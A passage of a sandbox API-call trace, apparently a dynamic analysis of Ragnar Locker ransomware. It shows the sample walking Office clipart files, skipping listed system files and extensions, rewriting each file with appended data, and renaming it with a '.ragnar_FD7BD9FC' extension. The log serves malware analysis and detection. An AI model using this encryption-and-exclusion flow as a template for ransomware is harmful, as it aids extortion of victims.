[0081.976] lstrcmpiW (lpString1="DD01631_.WMF", lpString2="ntuser.dat") returned -1 [0081.976] lstrcmpiW (lpString1="DD01631_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.976] lstrcmpiW (lpString1="DD01631_.WMF", lpString2="ntuser.ini") returned -1 [0081.976] lstrcmpiW (lpString1="DD01631_.WMF", lpString2="thumbs.db") returned -1 [0081.976] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.976] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.976] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.976] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.976] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.976] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.976] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x20 [0081.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.977] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=552) returned 1 [0081.977] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x21f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.977] GetProcessHeap () returned 0x580000 [0081.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.977] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.978] VirtualAlloc (lpAddress=0x0, dwSize=0x228, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.978] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.978] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.978] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x228, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x228, lpOverlapped=0x0) returned 1 [0081.978] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.978] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x228, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.978] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x228, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x228, lpOverlapped=0x0) returned 1 [0081.978] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x228, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.978] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.978] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.978] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.978] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.979] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.979] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.979] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.979] GetProcessHeap () returned 0x580000 [0081.979] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.979] CloseHandle (hObject=0xf4) returned 1 [0081.979] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" [0081.979] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.ragnar_FD7BD9FC" [0081.979] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.980] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1 [0081.980] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.980] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01761_.WMF" | out: lpString1="DD01761_.WMF") returned="DD01761_.WMF" [0081.980] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned=".WMF" [0081.980] lstrcmpiW (lpString1="DD01761_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.980] lstrcmpiW (lpString1="DD01761_.WMF", lpString2="autorun.inf") returned 1 [0081.980] lstrcmpiW (lpString1="DD01761_.WMF", lpString2="boot.ini") returned 1 [0081.980] lstrcmpiW (lpString1="DD01761_.WMF", lpString2="bootfont.bin") returned 1 [0081.980] lstrcmpiW (lpString1="DD01761_.WMF", lpString2="bootsect.bak") returned 1 [0081.980] lstrcmpiW (lpString1="DD01761_.WMF", lpString2="bootmgr") returned 1 [0081.980] lstrcmpiW (lpString1="DD01761_.WMF", lpString2="bootmgr.efi") returned 1 [0081.980] lstrcmpiW (lpString1="DD01761_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.980] lstrcmpiW (lpString1="DD01761_.WMF", lpString2="desktop.ini") returned -1 [0081.980] lstrcmpiW (lpString1="DD01761_.WMF", lpString2="iconcache.db") returned -1 [0081.980] lstrcmpiW (lpString1="DD01761_.WMF", lpString2="ntldr") returned -1 [0081.980] lstrcmpiW (lpString1="DD01761_.WMF", lpString2="ntuser.dat") returned -1 [0081.980] lstrcmpiW (lpString1="DD01761_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.980] lstrcmpiW (lpString1="DD01761_.WMF", lpString2="ntuser.ini") returned -1 [0081.980] lstrcmpiW (lpString1="DD01761_.WMF", lpString2="thumbs.db") returned -1 [0081.980] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.980] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.980] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.980] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.980] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.980] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.980] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x20 [0081.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.981] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4148) returned 1 [0081.981] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x102b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.981] GetProcessHeap () returned 0x580000 [0081.981] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.981] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.982] VirtualAlloc (lpAddress=0x0, dwSize=0x1034, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.982] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.982] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.982] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1034, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1034, lpOverlapped=0x0) returned 1 [0081.983] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.983] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1034, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.983] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1034, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1034, lpOverlapped=0x0) returned 1 [0081.983] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1034, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.984] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.984] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.984] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.984] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.984] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.984] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.984] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.984] GetProcessHeap () returned 0x580000 [0081.984] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.984] CloseHandle (hObject=0xf4) returned 1 [0081.984] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" [0081.984] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.ragnar_FD7BD9FC" [0081.984] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.985] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1 [0081.985] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.985] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01772_.WMF" | out: lpString1="DD01772_.WMF") returned="DD01772_.WMF" [0081.985] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned=".WMF" [0081.985] lstrcmpiW (lpString1="DD01772_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.985] lstrcmpiW (lpString1="DD01772_.WMF", lpString2="autorun.inf") returned 1 [0081.985] lstrcmpiW (lpString1="DD01772_.WMF", lpString2="boot.ini") returned 1 [0081.985] lstrcmpiW (lpString1="DD01772_.WMF", lpString2="bootfont.bin") returned 1 [0081.985] lstrcmpiW (lpString1="DD01772_.WMF", lpString2="bootsect.bak") returned 1 [0081.985] lstrcmpiW (lpString1="DD01772_.WMF", lpString2="bootmgr") returned 1 [0081.985] lstrcmpiW (lpString1="DD01772_.WMF", lpString2="bootmgr.efi") returned 1 [0081.985] lstrcmpiW (lpString1="DD01772_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.985] lstrcmpiW (lpString1="DD01772_.WMF", lpString2="desktop.ini") returned -1 [0081.985] lstrcmpiW (lpString1="DD01772_.WMF", lpString2="iconcache.db") returned -1 [0081.985] lstrcmpiW (lpString1="DD01772_.WMF", lpString2="ntldr") returned -1 [0081.985] lstrcmpiW (lpString1="DD01772_.WMF", lpString2="ntuser.dat") returned -1 [0081.985] lstrcmpiW (lpString1="DD01772_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.985] lstrcmpiW (lpString1="DD01772_.WMF", lpString2="ntuser.ini") returned -1 [0081.985] lstrcmpiW (lpString1="DD01772_.WMF", lpString2="thumbs.db") returned -1 [0081.985] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.985] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.985] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.985] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.985] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.985] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.985] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x20 [0081.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.986] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2300) returned 1 [0081.986] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.986] GetProcessHeap () returned 0x580000 [0081.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.987] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.988] VirtualAlloc (lpAddress=0x0, dwSize=0x8fc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.988] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.988] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.988] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8fc, lpOverlapped=0x0) returned 1 [0081.988] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.988] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.988] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8fc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8fc, lpOverlapped=0x0) returned 1 [0081.988] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.988] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.989] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.989] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.989] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.989] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.989] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.989] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.989] GetProcessHeap () returned 0x580000 [0081.989] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.989] CloseHandle (hObject=0xf4) returned 1 [0081.989] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" [0081.989] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.ragnar_FD7BD9FC" [0081.989] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.990] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1 [0081.990] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.990] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01793_.WMF" | out: lpString1="DD01793_.WMF") returned="DD01793_.WMF" [0081.990] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned=".WMF" [0081.990] lstrcmpiW (lpString1="DD01793_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.990] lstrcmpiW (lpString1="DD01793_.WMF", lpString2="autorun.inf") returned 1 [0081.990] lstrcmpiW (lpString1="DD01793_.WMF", lpString2="boot.ini") returned 1 [0081.990] lstrcmpiW (lpString1="DD01793_.WMF", lpString2="bootfont.bin") returned 1 [0081.990] lstrcmpiW (lpString1="DD01793_.WMF", lpString2="bootsect.bak") returned 1 [0081.990] lstrcmpiW (lpString1="DD01793_.WMF", lpString2="bootmgr") returned 1 [0081.990] lstrcmpiW (lpString1="DD01793_.WMF", lpString2="bootmgr.efi") returned 1 [0081.990] lstrcmpiW (lpString1="DD01793_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.990] lstrcmpiW (lpString1="DD01793_.WMF", lpString2="desktop.ini") returned -1 [0081.990] lstrcmpiW (lpString1="DD01793_.WMF", lpString2="iconcache.db") returned -1 [0081.990] lstrcmpiW (lpString1="DD01793_.WMF", lpString2="ntldr") returned -1 [0081.990] lstrcmpiW (lpString1="DD01793_.WMF", lpString2="ntuser.dat") returned -1 [0081.990] lstrcmpiW (lpString1="DD01793_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.990] lstrcmpiW (lpString1="DD01793_.WMF", lpString2="ntuser.ini") returned -1 [0081.990] lstrcmpiW (lpString1="DD01793_.WMF", lpString2="thumbs.db") returned -1 [0081.990] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.990] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.990] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.990] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.990] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.990] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.990] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program 